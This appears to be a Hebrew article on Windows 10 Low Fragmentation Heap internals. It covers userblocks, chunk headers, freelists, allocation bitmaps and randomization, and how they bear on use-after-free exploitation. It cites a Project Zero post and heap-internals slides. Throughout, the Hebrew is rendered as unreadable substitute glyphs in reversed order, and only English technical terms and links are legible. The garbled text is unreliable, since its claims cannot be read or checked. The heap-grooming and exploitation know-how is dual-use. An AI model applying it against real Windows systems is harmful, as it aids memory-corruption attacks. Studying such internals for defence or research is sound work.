 ˤ˞ ˨˞ ,˶˸ˣ˧ ˢ˩ˣ˶˞ ˢ˟˧˸˩ ˫˰ ˧ˣ˩˧˯ˢ ˸˞ ˪˧ˡˠˢ˪ ˶˷˲˞ .ˣˮ˧˴˶˷ ˢˮ˟ˬˢ ˪˰ ˢ˟˧˸˩˪ ˣˮ˰ˠˢ ˣˢ˷˪˩ ˧ˣ˩˧˯˟

ˢ ˱ˣ˯˟ ˣˮ˴˵˪˞˸ˢˣ ˢˡ˧ˬ˟ ˯ˣ˶˵ˮ˷ ˧ˣ˩˧˯ˢ ˸˞ ˫ˠ ˪˧ˡˠˮ-userblocks ˢ˲ ˷˧ .tradeoff  ˣˮ˪˷ ˧ˣ˩˧˯ˢ ˭˧˟

 ˣˮ˪˷ ˧ˣ˩˧˯ˢ ˭˧˟˪ ˥˪˴ˣˬ ˳ˣ˵˪˞˟ ˨ˣ˶ˡ˪ˢ ˱ˣ˯˟) ˥˪˴ˣˬ ˞˪ ˳ˣ˵˪˞˟ ˯ˣ˶˵˪-userblocks.( 
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 ˸˧˶˞˷ ˣˮ˪ ˶ˣ˴˧˧˷ ˪ˡˣˠ ˶ˣ˥˟˪ ˱˧ˡ˰ ,ˣ˸˧˞ ˫˧ˡ˟ˣ˰ ˣˮ˞˷ ˪ˡˣˠˢ ˪˰ ˸˧˵˪˥ ˣ˞ ˢ˞˪ˬ ˢ˦˧˪˷ ˣˮ˪ ˷˧ˣ ˢˡ˧ˬ˟

ˢ ˱ˣ˯˟-userblocksˢ ˱ˣ˯ ˭˧˟ ˶˞˷ˮ˷ ˶˸ˣ˧ˬ ˭ˣ˶˩˧ˤ ˪˰ ˨ˣ˶ˡ˪ ˨˧˷ˬˢ˪ ˪˩ˣˮ ˭˩˪ˣ ,-chunk-˟ ˫˧-

userblocks ˢ ˱ˣ˯˪-page. 

 

˶ ˭˞˩ ˫˧˞ˣlayout ˢ ˪˷ ˞ˬˠˣˡ˪-heap  ˢ˶ˣ˴˟ ˫˧˶ˤˣ˲ˬ ˫˧ˠˣ˯ˢ ˪˩ˬ ˫˧˴ˣ˵˪˞ˢ˷ ˟˪ ˣˬ˧˷ .˟ˣ˴˧˰ˢ ˶˥˞˪

 ˳˵˪˞˸ˢ˷ ˣˮ˪ ˞˴˧ˣ ,˸˧˞˶˵˞chunk  ˧ˮ˲˪ ˫˧˧ˮ˷ ˣˮˬˬ ˨ˣ˶ˡ˪ ˭˸˧ˮ˷chunk  ˫˞ .ˣ˧˪˰ ˨ˣ˶ˡ˪ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷

.ˣ˧˪˞ ˣˮ˰ˠˢ ,˵˧˲˯ˬ ˢˬ˧ˡ˵ ˣˮ˟˸˩ 

 ˪˷ ˫˧˶ˣ˶˥˷˪ ˟˪ ˫˧˷˪ ˟ˣ˷˥ ˸˞ˤ˩ ˢ˩˧˶ˡ˟chunk- ˱˞ ˶˶˥˸˷˧ ˞˪˷ ˧˥˶˩ˢ .˫˧chunk  ˣ˧˪˰ ˣˮ˩˶ˡ˷

ˢ ˪˰ ˣˮ˩˶ˡ˷ ˭ˣˣ˧˩ˬ ,ˡ˧ˬ ˯ˣ˶˵ˮ ˭˩ ˫˞ ˧˩ ,˭˧˧ˮ˰ˬˢ ˢˮ˟ˬ˪ ˡ˰ ˨˶ˡ˟-header  ˨˶˦˴ˮ ˢˤ ˸˞ ˭˵˸˪ ˧ˡ˩ .ˣ˪˷

infoleak ˢ ˸˞ ˞ˣ˶˵˪ ˧ˡ˩ ˧˟˧˦˪˶-header-ˢ ˸˞ ˶ˣ˟˷˪ ˨˶ˡ ˣ˞ ,˫˧ˬˡˣ˵ˢ ˫˧-cookie  ˸˟ˣ˸˩ ˸˞ ˞˧˴ˣˢ˪ˣ

-sheap ˢ ˸˞ ˟˷˥˪ ˧ˡ˩-headerˢ ˪˷ ˶ˣ˶˥˷˟ ˶˷˞˩ ˞˧ˢ ˯ˣ˶˵ˮ ˢ˟˷ ˢˡˣ˵ˮˢ˷ ˭˧˟ˢ˪ ˟ˣ˷˥ .-chunk 

˪ ˰˧ˠˢ˪ ˢ˴˶ˮ-userblocks ˟ ˡˡˣ˵ˬˢ ˵˪˥ˢ ˧"˰ ˰˴˟˸˧ ˭˟ˣˬ˩ ˢˤˣ ,ˣˮ˪˷-header  .(ˢ˪˰ˬ˪ ˣˮ˧˞˶˷ ˧˲˩)

 ˣˬ˩ ˧ˣˮ˟ˣ ˢ˞˶ˮ ˭˩˞˷ ˭ˣ˶˩˧ˤ ˶ˣˤ˞˪ ˣ˸ˣ˞ ˢˮ˲ˮˣ ,ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˣ˸ˣ˞ ˱˧˧ˤˮ ˞˪ ˫˞userblocks -  ˪˰ ˯ˣ˶˵ˮ

dereference-.˫˧ 

˟ ˸ˣˮˣ˶˸˧ ˢˬ˩ ˷˧-LFH  ˧˶˥˞ ˸˰˴˟˸ˬ ˸˧˟˧˦˪˶ˢ ˢ˞˧˶˵ˢ ˫˞ ˫ˠ .˸˞ˤˢ ˢˮ˧˥˟ˢˬ ˫˧˪ˣ˴˧ˮ ˪˰ ˫˧˪˵ˬ˷

 ˣ˸ˣ˞˟ ˫˧˲˯ˣˮ ˫˧˶ˣ˶˥˷ˣ ˫˧˴ˣ˵˪˞ ˷˧˷userblocksˢ ˭˧˧ˡ˰ ,-header-ˢ ˪˷ ˫˧-chunk- .˫ˢ˷ ˣˬ˩ ˣ˶˞˷˧ ˫˧

ˢ˷ ˭ˣˣ˧˩ˬ ˢˤ-header ˢ ˸˶˧˴˧˟ ˵˶ ˰˟˵ˮ-chunk ˩ .˶ˣ˶˥˷ ˣ˞ ˳ˣ˵˪˞˟ ˢˮ˸˷ˬ ˞˪ˣ ˣˮ˥ˮ˞ ˫˞˷ ˭˟ˣˬ

ˬ ˫˧˟˸ˣ˩ˣ ˫˧˞˶ˣ˵-chunk-ˢ ˢˬ ˸˰ˡ˪ ˪˩ˣˮ ˞˪ ˫˧ˮˣ˷ ˫˧-offset ˪-header  ˪˩˪ ˢˮˣ˷ ˞ˣˢ ˧˩ ˭ˣ˩ˮˢchunk .

 ˵˧˲˯ˬ ˞ˣˢ ,˫ˢˮ˧˟ ˣ˸ˣ˞ ˳˵˪˞˪ˣ ˶˶˥˷˪ ˧˪˟ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˶˷˲˞ˬ˷ ˦˵˧˧˟ˣ˞ ˣˮ˪ ˷˧ ˣ˟˷ ˟˴ˬˢ ˪˟˞

ˣ ˫˧˴ˣ˵˪˞ ˪˰ ˫˧˰˧˲˷ˬ ˣˮ˥ˮ˞ ˢ˟˧˸˩ˢ ˣ˞ ˢ˞˧˶˵ˢ ˫˴˰˟ ˫˞ ˫ˠ ,˟ˣ˦ ˪˷ ˫˧˶ˣ˶˥˷chunk- ˫˧˶˥˞ ˫˧

 ˣ˸ˣ˞˟userblocks. 

˳ˣ˵˪˞˟ ˞˪ˣ ˶ˣ˶˥˷˟ ˵˶ ˞˧ˢ ˯ˣ˶˵ˮ ˢ˟˷ ˢˡˣ˵ˮˢ˷ ˞ˣˢ ˱˯ˣˮ ˭ˣ˶˸˧ . ˭ˠˣˬ ˣˮ˧˞ ˳ˣ˵˪˞˟ ˵ˡ˟ˮ˷ ˢˡ˷ˢ

 ˸ˣ˰˴ˬ˞˟ ˢ˩˧˶ˡ ˧ˮ˲ˬxor ˶ˣ˶˥˷˟ ˞ˣˢ ˯ˣ˶˵ˮ˷ ˡ˧˥˧ˢ ˟˴ˬˢˣ ,˨ˣ˶ˡ˪ ˫˧˩˧˶˴ ˣˮ˞ ˢˬ ˫˰ ˫˧˰ˡˣ˧ ˣˮ˞ ˭˩˪ˣ ,

 ˪˷chunk ˢ˷-header  ˪˰ ˸ˣ˪ˣ˰˲˟ ˫ˠ ˯ˣ˶˵ˮ ˫˧˶ˣ˦˵ˣ˪˞ˢ ˟ˣ˶˟) ˭ˣ˩ˮ ˞˪ ˣ˪˷chunk- ˪˪ˠ˟ ˣ˞ ˫˧˟ˣ˶˵ ˫˧

 ˪˰ ˢ˩˧˶ˡfreelist ˵˧ˤ˥ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˫˞ ˞˧ˢ ˸˞ˤ ˪˴ˮ˪ ˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˢ˶ˣ˴ˢ .(chunk- ˫˧˴˵˪ˣ˞ˬ ˫˧
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 ˶˧˟˯ ˧ˣ˩˧˯˟˷ ˢˤ ˪˰ ˶ˣˬ˷ˮ˷ ˵˧˲˯ˬ ,˞˪ ˫˞ ˫ˠ .˭ˬˤ ˨˶ˣ˞˪chunk- ˫˷ˬˣ ,ˣ˴˵˪ˣ˞˧ ˞˪ ˫˧˶˶˥ˣ˷ˬ ˫˧

˞ˢ ˸˞ ˭˵˸˪ ˶˟˩ ˶˷˲-userblocks ˢ ˸˞ ˵˧ˤ˥ˢ˪ ˧ˡ˩ ˡˣ˵ ˣˮ˴˶ˢ˷ ˧˶˥˞-process .˧˥ 

 ˪ˣ˴˧ˮUAF 

 ˪ˣ˴˧ˮ ,˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˪˷ ˸ˣ˧˞˶˵˞ˢ ˪˪ˠ˟UAF  ˫˧˪˴ˮˬ ˣˮ˞ ˶˷˞˩ .˧˸˧˧˰˟ˣ ˟˧˴˧ ˞˪ ˡ˞ˬ ˸ˣ˧ˢ˪ ˶˟˰

UAF ˪˩ˣˮ ,ˣˮ˥˪˴ˢ ˫˞ .ˣ˟ ˷ˣˬ˧˷ˢˣ ˣˢ˷˪˩ ˦˵˧˧˟ˣ˞ ˪˷ ˶ˣ˶˥˷ˢ ˭˧˟ ˶˥˞ ˢˮ˟ˬ ˳˵˪˞˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ,

 ˡˣ˵ ˳˧˶ˢ˪ ˢˣˣ˵˸˟ˣ) ˡˣ˵ˢ ˨˷ˬˢ ˪˰ ˰˧˲˷ˢ˪ ˪˩ˣˮ ˫˷ˬˣ ,˸ˣ˥˲˪ ˧˵˪˥ ˭˲ˣ˞˟ ˦˵˧˧˟ˣ˞ˢ ˪˷ ˭˩ˣ˸˟ ˦ˣ˪˷˪

ˣ˶ˡˢ ˫˧˴ˣ˵˪˞ˢ ˸ˣˬ˩ ˧ˢˬ ˣ˞ ,˧˸ˬ ˸ˣˤ˥˪ ˣˮ˪˷ ˸˪ˣ˩˧˟ ˧ˣ˪˸ ˢˤˢ ˨˧˪ˢ˸ˢ ˪˩ .(˱ˣ˯˟ ˣˮ˪˷ˬ ˢ˟˷ ,ˢ˷

chunk ˷ ˸˟ˣ˸˩ ˢ˸ˣ˞˟ ˵ˣ˧ˡ˟ ˳˵˪˞˸ˢ˪ ˨˪ˣˢ ˫˧ˣ˯ˬ-chunk  ˨˧˞ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˭˩˪ ˫ˡˣ˵ ˶˶˥˷ ˶˥˞

ˢ ,ˡˣ˞ˬ ˢˣ˟ˠ ˧ˣ˩˧˯˟˷ ˨˩˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ-malloc ˢ ˭˧˟ ˫˵ˬˮ˷-free ˢ ˸˞ ˶˧ˤ˥˧ ˷ˣˬ˧˷ˢ ˭˧˟˪-chunk 

?˶˶˥ˣ˷˷ 

˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˫˞ .˫ˣˡˮ˶ ˸˶ˤ˰˟ ˫ˣˡˮ˶˟ ˫˥˪˧ˢ˪ ˟ˣ˷ ˞˧ˢ ˢ˪˵ˢ ˢ˧˴˲ˣ˞ˢ  ˣ˸˧˞ ˢˮ˟ˬˢˬ ˢ˟˶ˢ ˳˵˪˞˪

ˢ ˭˧˟ ,˱˧˪˥ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞-free  ˧˶˥˞ ˪˟˵ˮ ˢˣˣ˵˸˟ˣ ,˭ˣˬˢ ˯˯˶˪ ˦ˣ˷˲ ˶˷˲˞ ˤ˞ ,ˢ˷˪ˣ˥˟ ˷ˣˬ˧˷˪

ˢ ˸˞ ˫˧˴ˣ˵˪˞ ˪˷ ˧ˢ˷˪˩ ˸ˣˬ˩-chunk .˷ˣˬ˧˷ ˣ˟ ˰˴˟˪ ˫˧ˡˬˣ˰ˣ ,˶˶˥ˣ˷˷ 

ˢ ˸ˣˬ˩˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞-chunk-˟ ˫˧-userblock ) ˢˬˣ˯˥0x400 ˧˸˶ˣ˞˧˸ ˫˯˥ ˣˮ˪ ˷˧ ˭˩˪ˣ ( ˸ˣˬ˩˪

 ˯ˣ˲˸˪ ˧ˡ˩ ˸˷˶ˡˮˢ ˫˧˴ˣ˵˪˞ˢchunk  ˣ˸ˣ˞˟ ˭˧˧ˡ˰ ˫˧ˡ˟ˣ˰ ˣˮ˥ˮ˞ ˫˞ ,˶˶˥ˣ˷ˬuserblocks ˫ˠ ,˸ˣ˞˧˴ˬ˟ .

 ˧ˣ˯˧ˮ ˪˷ ˢ˞˴ˣ˸ ˢˮˢ .ˢ˧ˣ˴˶ˢ ˸˟ˣ˸˩ˢ ˸˯˧˲˸˪ ˢ˟ˣ˦ ˸ˣ˶˟˸˯ˢ˟ ˰˧ˠˢ˪ ˶˷˲˞ ˫˧˴ˣ˵˪˞ ˸ˣ˥˲ ˫˰

 ˪˰ ˢ˷˰ˮ ˢˤ .ˢ˶˶˥ˣ˷˷ ˢˮˣ˶˥˞ˢ ˸˟ˣ˸˩ˢ ˸˞ ˫˧˪˟˵ˬ ˫˧˴ˣ˵˪˞ ˢˬ˩ ˧˶˥˞ ˵ˡˣ˟˷Windows 10 build 

17134˪ ˯˧ˮ˩ˢ˪ ˧˸ˠ˞ˡ .-heap  ˭˩˪ ˫ˡˣ˵ "˨ˣ˪˩˪" ˸˴˵-  ˡ˧˥˞ ˞˪ ˭˲ˣ˞˟ ˫˧˶ˣ˶˥˷ˣ ˫˧˴ˣ˵˪˞ ˢˬ˩ ˰˴˟˪

˟ ˡˣ˟˰˪ ˞˪ ˸ˮˬ ˪˰ ,˧˞˶˵˞ ˶ˡ˯˟ˣ-heap ˣ ˢ˶˵ˬ ˸ˣ˧ˣ˪˸ ˸ˣ˞˴ˣ˸ˢ .˧ˡˬ ˧˵ˮ-bucket ˸ˣ˞˶˪ ˶˷˲˞ ˪˟˞ ,

ˬ ˸˧˸ˣ˰ˬ˷ˬ ˢˮ˦˵ ˫˧˴ˣ˵˪˞ ˸ˣˬ˩ ˫˰ ˫ˠ˷-0x400 ˩ˢ ˸˞ ˯ˣ˲˸˪ ˫˧˥˧˪˴ˬ ˣˮ˧˧ˢ:ˢ˧ˣ˴˶ˢ ˸˟ˣ˸ 
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ˢ ˸˞ ˯˯˶˪ ˶˷˲˞ ˣˮ˪ ˷˧ ˭˧˧ˡ˰ ,˫˧˴ˣ˵˪˞ˢ ˶˲˯ˬ˟ ˫˧˪˟ˠˣˬ ˣˮ˥ˮ˞ ˶˷˞˩ ˫ˠ-userblocks  ˡˣˠ˧ˮ˟ .˭˩ˣ˸˟

ˢ ,˫˧˶˥˞ ˫˧˶ˣ˦˵ˣ˪˞˪-LFH ˟ ˰ˠˣˮ ˞˪-data  ˪˷chunk ˪ ˣˮ˟˸˩ ˫˞ ,˭˩˪ .˶˶˥ˣ˷ˬ-chunk  ,ˣ˸ˣ˞ ˣˮ˶˶˥˷ˣ

˩ ˤ˞˷ ˣ˸ˣ˞chunk ˢ ,˷ˡ˥ ˳ˣ˵˪˞˟ ˯˲˸˧-uninitialized data  ˣ˧˪˰ ˟˸˩ˮ˷ ˭˩ˣ˸ˢ ˣ˸ˣ˞ ˸˞ ˵ˣ˧ˡ˟ ˪˧˩˧ ˣ˪˷

 ˯˯˶˪ ˧ˡ˩ ˢˤ ˸˞ ˪˴ˮ˪ ˶˷˲˞ .˫ˡˣ˵ˢ ˳ˣ˵˪˞ˢˬdata ˟-userblocks  ˵˧ˤ˥ˢ˪ ˸ˬ˞˟ ˧˪˟chunk- ˫˧

 ˪ˣ˴˧ˮ˟ ˸ˣ˲˧ ˸ˣ˞˴ˣ˸˪ ˰˧ˠˢ˪ ˭˧˧ˡ˰ˣ ˷˪˥ ˡˣ˞ˬ ˟˧˦˧ˬ˧˶˲˟ ˵˲˸˯ˢ˪ ˶˷˲˞ ˢˤˢ ˨˶ˣ˴˪ .˫˧˯ˣ˲˸UAF ˫˞ ,

ˢ ˭˧˟ ˢˤˢ ˭˲ˣ˞˟ ˸ˣ˟˧˸˩ ˵˧˲˯ˬ ˸ˣ˷˰˪ ˶˷˲˞-free .˷ˣˬ˧˷˪ 

 

˸ˣˬˡ˵˸ˬ ˸ˣ˦˧˷ 

˟ ˧˞˶˵˞ˢ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯˷ ˣˮ˧˞˶-LFH  ˷˧ ˫˞ˢ .˷˞˶ˬ ˣˮˬˬ ˰ˮˬˢ˪ ˱˧ˡ˰ ˫˧˸˰˪ ˭˩˪ˣ ,˸˧˸˰ˬ˷ˬ ˢ˷˵ˬ

˟ ˸ˣ˧ˢ˪ ˞˪ ˨˶ˡ-LFH? 

˟ ˢ˧ˢ˧ ˶˧˟˯ ˳ˣ˵˪˞ ˪ˡˣˠ ˢˣ˟ˠ ˡ˞ˬ ˧ˣ˩˧˯˟-LFH ˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞˷ ˫˧˦˵˧˧˟ˣ˞ˢ˷ ˪˪ˠ˟ ˢ˶ˣ˵ ˢˤ .

˪˪˩ ˨˶ˡ˟ ˫ˢ ˪ˣ˴˧ˮ˪ ˫˧˟˧˦˧ˬ˧˶˲ˢ ˶ˣ˟˰ ˟ ˳ˣ˲ˮ ˷ˣˬ˧˷˟-flow  ˫˪ˡˣˠ˟ ˫˧ˬˣˡ ˫ˢ˷ ˣ˞ ,˧ˤ˩˶ˬˢ

 ˣ˸ˣ˞ ˸˞ ˣ˪˧˰˲ˢ ˶˟˩˷ ˫˧˶˥˞ ˫˧˦˵˧˧˟ˣ˞˪bucket ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,ˡˣ˵˟ ˶˧˷˧ ˭˲ˣ˞˟ ˪˪˩˟ ˣ˪˞˩ ˭˧˞ ˫˞ ˫ˠ .

ˢ ˨˶ˡ ˣ˶˴ˣˮ ˣ˪˞˩ ˫˧˦˵˧˧˟ˣ˞˷-CRT ˪ ˫˧˷ˣ˶ˡˢ ˫˧˴ˣ˵˪˞ˢ ˪˷ ˢ˩ˣˬˮˢ ˸ˣˬ˩ˢ .˸ˣ˶˥˞ ˸ˣ˧˶˲˯ ˣ˞-bucket 

activation ,0x11ˢ˪˧˟ˣˬ ,  ˫˰ ˡˡˣˬ˸ˢ˪ ˨˶˦˴ˮ ˢˣ˟ˠ ˧ˣ˩˧˯˟˷ ˨˩˪LFH ˞ˣˢ ˶ˣˤ˰˪ ˪ˣ˩˧˷ ˡ˥˞ ˵˧˶˦ .

 ˣ˞ ˫˧ˠˮ˧˶˦˯ ˸ˣ˰˴ˬ˞˟ ,˫˧˦˵˧˧˟ˣ˞ˢ ˪˷ ˪ˡˣˠ˟ ˣˮ˪˷ ˢ˦˧˪˷ˢ ˫˰ ˵˥˷˪variable length arrays 

 ˭˧˟ ˣ˸ˣ˞ "˳˧˲˵ˢ˪" ˧ˡ˩ ,˦˵˧˧˟ˣ˞ˢ ˨ˣ˸˟ ˫˧˞˴ˬˮ˷bucket˪ ˰˧ˠˢ˪ˣ ˫˧-bucket  ˞˪ ˭˧˧ˡ˰˷activated ˫ˠ .

˪ ,˟˴ˬˢ ˢˤ ˫˞˟ ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˦ˣ˪˷˪ ˧ˡ˩ ˢ˪˞˩ ˫˧˴ˣ˵˪˞ ˢ˟˶ˢ ˣˮ˪ ˣ˧ˢ˧ ˞-NT heap ˪ ˶ˣ˟˰ˮ˷ ˧ˮ˲˪-LFH 

-  ˧˶˥˞ ˧˶ˢ0x11 ˟ ˟ˣ˷ ˣˮˬ˴˰ ˸˞ ˞˴ˬˮ ˶˟˩ ˫˧˴ˣ˵˪˞-LFH. 

˷ ˞ˣˢ ˪˴ˮ˪ ˶˷˲˞˷ ˡ˥˞ ˶˟ˡ-LFH ˩-frontend ˪ ˡ˰ ˫˧˴ˣ˵˪˞ ˵˶ ˸˶˷ˬ-0x4000 ˶˸ˣ˧ ˪ˣˡˠ ˳ˣ˵˪˞ ˪˩ .

˪ ˸ˣ˶˧˷˧ ˰˧ˠ˧-backendˢ ˧ˡ˧˟ ˪ˢˣˮ˧ˣ ,-NT heapˢ ˸˞ ˭˧˞ ˫˷ ,-mitigations ˟ ˷˧˷-LFH ˞˪˷ ˭˟ˣˬ˩ .

ˢ ˸˞ ˪˴ˮ˪ ˶˷˲˞˧ ˢˤ ,˭˩ˣ ˢˡ˧ˬ˟ ˪˟˞ ,ˢ˪˞˩ ˫˧˪ˡˠ ˫˰ ˡˣ˟˰˪ ˪˩ˣˮ ˡ˧ˬ˸-heap .˶˸ˣ˧ ˸˧˯˞˪˵ ˢ˶ˣ˴˟  

 ˧ˡ˧˟ ˫˯˶ˣ˲ ,ˣˤˢ ˢˡ˟ˣ˰˟ ˵ˣ˧ˡ˟ ˷ˬ˸˷ˬ˷ ˞ˬˠˣˡ˪ ˪ˣ˴˧ˮproject zero ,˭˞˩. 

 ˧˪ˣ˴˧ˮ ˪˰ ˟ˣ˷˥˪ ˫ˠ ˶˷˲˞data ˢ ˪˷ ˫˧˶˥˞-metadata ˢ ˪˷-LFH ˸ˣ˧˶ˮˠ ˸ˣ˥˲ ˢ˟˶ˢ ˣ˪˪ˢ ˸ˣ˦˧˷ˢ ,

.ˢˬˠˣˡ˪ ˢˤ˩ ˡ˥˞ ˢ˶˵ˬ ˭˥˟ˮ .ˡˣ˞ˬ ˫˧˧˲˧˴˲˯ ˫˧˶˵ˬ˪ ˸ˣˬ˧˞˸ˬ ˪˟˞ ,˭˞˩ ˶˞ˣ˸˷ ˢˬˬ 

-sPreviousSize˟ ˢˡ˷ ˞ˣˢ˷ ,-header  ˪˩ ˪˷chunkˢˣ ˢˡ˧ˬ˟˷ ,-chunk ˟-LFH ˶ˣ˶˥˷ˢ ˸˞ ˷ˬ˷ˬ ,

ˢ ˸˞ ˸˰ˡ˪ ˧ˡ˩-index ˢ ˪˷-chunkˢ ˸˞ ˫˧˟˷˥ˬ ˣˮˬˬ˷ ,-offset ˟ ˧˦ˮˣˣ˪˶ˢ ˦˧˟ˢ ˪˷-bitmap ˢ ˪˷-

userblocks. 

  

https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html
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:ˢ˩˩ ˢ˞˶ˮ ˨˧˪ˢ˸ˢ 

 

˪ ˡˣˠ˧ˮ˟-pointer ˪-subsegmentˢ ,-PreviousSize ˟ ˵˪˥ ˞ˣˢ-header  ˶˟ˣ˰ ˞˪ ˞˵ˣˣˡ˷xor ˭˩ ˞ˣˢ .

ˢ ˸˞ ˯ˣ˶ˢ˪ ˳˪˞ˮ ˢ˲˧˴˶ ˢ˟˧˸˩˟ ˤ˞ ,ˣ˧˶˥˞ ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ-header ˟ ˢ˟˧˸˩ ˣˮ˪ ˷˧ ˫˞ ˪˟˞ ,˯ˣ˶˵ˮˣ-

offset ˢ ˸˞ ˞ˣ˶˵˪ ˸˪ˣ˩˧ ˣ˞)-header ˢ ˪˷ ˪ˡˣˠˢˬ ˶˸ˣ˧ ˪ˣˡˠ˷ ˨˶˰ ˣ˟ ˟ˣ˸˩˪ ˭˸˧ˮ ˢ˧ˢ˧ ˤ˞ ,(˫ˡˣ˵-

bitmapˢ ˸˞ ˶˶˥˷ˮˣ ,˸˞ˤ ˢ˷˰ˮˣ ˢˡ˧ˬ˟ .-chunk  ˧˪˟)˟ ˰ˣˠ˲˪-header ˪ ˫˧˰˧ˠˬ ˣ˩˶ˡ ˧˩ ,ˣ˪˷-

userblocks (-  ˦˧˟ˢ ˪˷ ˢ˟˧˸˩˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ0 ˟-offset ˪ ˧˟˧˦˪˶˷ ˣˢ˷˪˩-bitmap  ˢˤ˷ ˭˟ˣˬ˩ .ˣˮ˪˷

 ˢ˟˥˶ˢ˟ ˸˶˞ˣ˸ˬ ˣˤ ˢ˦˧˷ .˫˧ˬ˧˧ˣ˯ˬ ˫˧˶˵ˬ˟ ˪˧˰ˣˢ˪ ˪ˣ˩˧ ˪˟˞ ,˸˴˵ ˢˮˣ˷ˬ ˟˧˦˧ˬ˧˶˲˭˞˩ ,˸˧˦˵˶˲ .

 .˧˸˧ˬ˞ ˢ˶˵ˬ˟ ˢ˟ ˧˸˷ˬ˸˷ˢ ˞˪ ˫˪ˣ˰ˬ 

ˢ ˫˰ ˫˧˵˥˷ˬ˪ ˶˟˰ˬ-metadata ˢ ˶ˣˤ˞˟-chunk ˸˞ ˶ˣ˟˰˪ ˧ˡ˩ ˣˬ˴˰ ˶ˣ˦˵ˣ˪˞ˢ ˸˞ ˱ˣ˵˸˪ ˫ˠ ˶˷˲˞ ,

-smitigations ˟ ˢ˷˪ˣ˥ ˞˴ˬˮ ˫˞ ,ˢˬˠˣˡ˪ .ˣ˪˷-random ˢ ˷ˣˬ˧˷˟˷-LFH ˪˰ ˦ˣ˪˷˪ ˣˮ˪ ˶˷˲˞˸ ˞˧ˢ ,

-slayout ˢ ˪˷-heap  ˫˧˟˧˦˧ˬ˧˶˲ ˪˴ˮ˪ ˪˩ˣˮ .ˣ˶˞ˣ˸˷ ˸ˣ˧˰˟ˢ ˟ˣ˶ˬ ˰ˮˬˮ ˭˩ ˪˰ˣ ,˸˧˦˯˧ˮ˧ˬ˶˦ˡ ˢ˶ˣ˴˟

 ˫˧˪ˣ˴˧ˮ ˪˷ ˸ˣ˟˧˴˧ˢ ˸˞ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣ˪˰ˢ˪ ,˭˩ ˫˞ ˫ˠˣ ,˶ˡ˯ˢ ˸˞ ˸ˣˤ˥˪ ˧˪˟ ˫˸ˣ˞ ˪˴ˮ˪ ˶˧˟˯ ˢ˧ˢ ˞˪˷

˪ ˡ˰˷ ˶˟˸˯ˬ .ˢˤ ˧˪˟ ˫ˠ ˫˧ˡ˟ˣ˰ ˣ˧ˢ˷-Windows 10 16129,˸˞ˤ˩ ˢ˷˪ˣ˥ ˵ˣ˧ˡ˟ ˢ˸˧˧ˢ ,  ˢˣˣ˷ ˤ˞

.˵ˬˣ˰˪ ˢ˸ˣ˞ ˭ˣ˥˟˪ 

 ˤ˞ .ˡ˟ˣ˰ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˫ˣˡˮ˶ ˭ˣˮˠˮˬ ˨˧˞ ˭˧˟ˢ˪ ˨˧˶˴ ,ˢ˸ˣ˞ ˪˴ˮ˪ ˨˶ˡˢ ˸˞ˣ ˢ˷˪ˣ˥ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰

 ˪˩˪ ,ˣˮ˧˧˴˷ ˧˲˩userblocks  ˷˧bitmap ˪˩˪ ˡ˥˞ ˦˧˟ ˣ˟ˣ ,chunk ˳˵˪˞˪ ˨˧˶˴˷˩ .chunkˢ ,-LFH  ˷˲˥˧

 ˪˰ ˡ˧˰ˬ˷ ˡ˥˞ ˦˧˟chunk ˟ ˧ˣˮ˲-bitmap˞ ˭ˬ˯˧ ,ˢ ˸-chunk  ˣˮ˧˞˶ .ˣ˸ˣ˞ ˣˮ˪ ˶˧ˤ˥˧ˣ ˳˵˪ˣ˞ˬ˩ ˢˤˢ

ˬ ˪˧˥˸ˬ ˧ˣˮ˲ˢ ˦˧˟ˢ ˷ˣ˲˧˥˷-offset ˟ ˧˞˶˵˞-bitmapˢ ˸˯ˣ˲˸˟ ˧ˣ˪˸ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˤ˞ .-chunk-˟ ˫˧-

userblocks ˟x-offset ?˶˲˯ˬˢ ˸˞ ˪˧˶ˠˬ ˞ˣˢ ˨˧˞ .˧˞˶˵˞ˢ 

http://illmatics.com/Windows%208%20Heap%20Internals%20(Slides).pdf
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 ˨˶ˣ˞˟ ˨˶˰ˬ ˷˧˷ ˶˟˸˯ˬ0x100 ˟ ˧˦˦˯-ntdll  ,˪ˣ˟ˬ˧˯˩ ˶ˡˠˣˬ)

ntdll!RtlpLowFragHeapRandomData˷˩ˣ ,(-process ˟ ˣ˸ˣ˞ ˫˧˞˪ˬˬ ,˶˴ˣˮ-0x100  ˫˰ ,˫˧˧˞˶˵˞ ˫˧˩˶˰

:˵ˤ˥ ˧˲˶ˠˣ˦˲˧˶˵ ˫ˣˡˮ˶ 

 

  ˭˧˧˴ˬ˷ ˦˧˟ ˶ˣ˥˟˪ ˣˮ˪ ˶ˤˣ˰ ˢˤˢ ˨˶˰ˬˢ ˨˧˞chunk ˢ ˪˩ ˨ˣ˸ˬ˟ ˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˶˶˥ˣ˷ˬ-bitmap ˷˧ ?

index  ˧˞˶˵˞ˢ ˨˶˰ˢ ˸˞ ˫˧˥˵ˣ˪ ˳ˣ˵˪˞ ˪˩˟ˣ ,˸˧˪˵˧˴ ˢ˶ˣ˴˟ ˫˧˧˞˶˵˞ˢ ˫˧˩˶˰ˢ ˪˷ ˨˶˰ˬˢ ˪˰ ˳˶˷

